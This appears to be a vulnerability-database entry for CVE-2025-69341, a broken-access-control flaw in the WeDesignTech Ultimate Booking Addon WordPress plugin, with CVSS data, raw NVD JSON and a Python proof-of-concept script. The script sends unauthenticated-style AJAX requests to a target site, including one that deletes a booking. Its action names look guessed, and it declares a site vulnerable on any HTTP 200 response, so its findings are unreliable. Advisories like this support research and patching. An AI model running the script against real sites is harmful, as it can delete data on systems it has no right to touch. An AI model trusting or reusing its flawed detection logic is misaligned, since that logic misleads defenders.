Security Vulnerability Report
中文
CVE-2025-69341 CVSS 5.4 MEDIUM

CVE-2025-69341

Published: 2026-01-06 17:15:47
Last Modified: 2026-04-27 21:16:24

Description

Missing Authorization vulnerability in BuddhaThemes WeDesignTech Ultimate Booking Addon wedesigntech-ultimate-booking-addon allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WeDesignTech Ultimate Booking Addon: from n/a through <= 1.0.3.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WeDesignTech Ultimate Booking Addon <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-69341 PoC - WeDesignTech Ultimate Booking Addon Broken Access Control # Description: Missing Authorization in WeDesignTech Ultimate Booking Addon plugin # CVSS: 5.4 (Medium) TARGET_URL = "https://target-site.com" # Replace with actual vulnerable endpoint based on plugin's AJAX handlers VULNERABLE_ENDPOINT = "/wp-admin/admin-ajax.php" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-69341""" # Step 1: Identify the plugin headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Step 2: Test unauthorized access to booking management functions # Low-privilege user (subscriber role) can access admin functions test_payloads = [ { 'action': 'udesign_booking_action', 'sub_action': 'get_all_bookings', 'nonce': '' # May not be required due to missing authorization }, { 'action': 'udesign_booking_action', 'sub_action': 'delete_booking', 'booking_id': 1, 'nonce': '' } ] for payload in test_payloads: try: response = requests.post( f"{TARGET_URL}{VULNERABLE_ENDPOINT}", data=payload, headers=headers, timeout=10 ) # Vulnerability exists if response shows booking data without proper auth if response.status_code == 200: print(f"[+] Potential vulnerability detected with payload: {payload}") print(f"[+] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Testing CVE-2025-69341 on {TARGET_URL}") if check_vulnerability(): print("[!] Target appears to be vulnerable") else: print("[-] Target may not be vulnerable or is patched")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69341", "sourceIdentifier": "[email protected]", "published": "2026-01-06T17:15:46.633", "lastModified": "2026-04-27T21:16:24.420", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in BuddhaThemes WeDesignTech Ultimate Booking Addon wedesigntech-ultimate-booking-addon allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WeDesignTech Ultimate Booking Addon: from n/a through <= 1.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wedesigntech-ultimate-booking-addon/vulnerability/wordpress-wedesigntech-ultimate-booking-addon-plugin-1-0-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}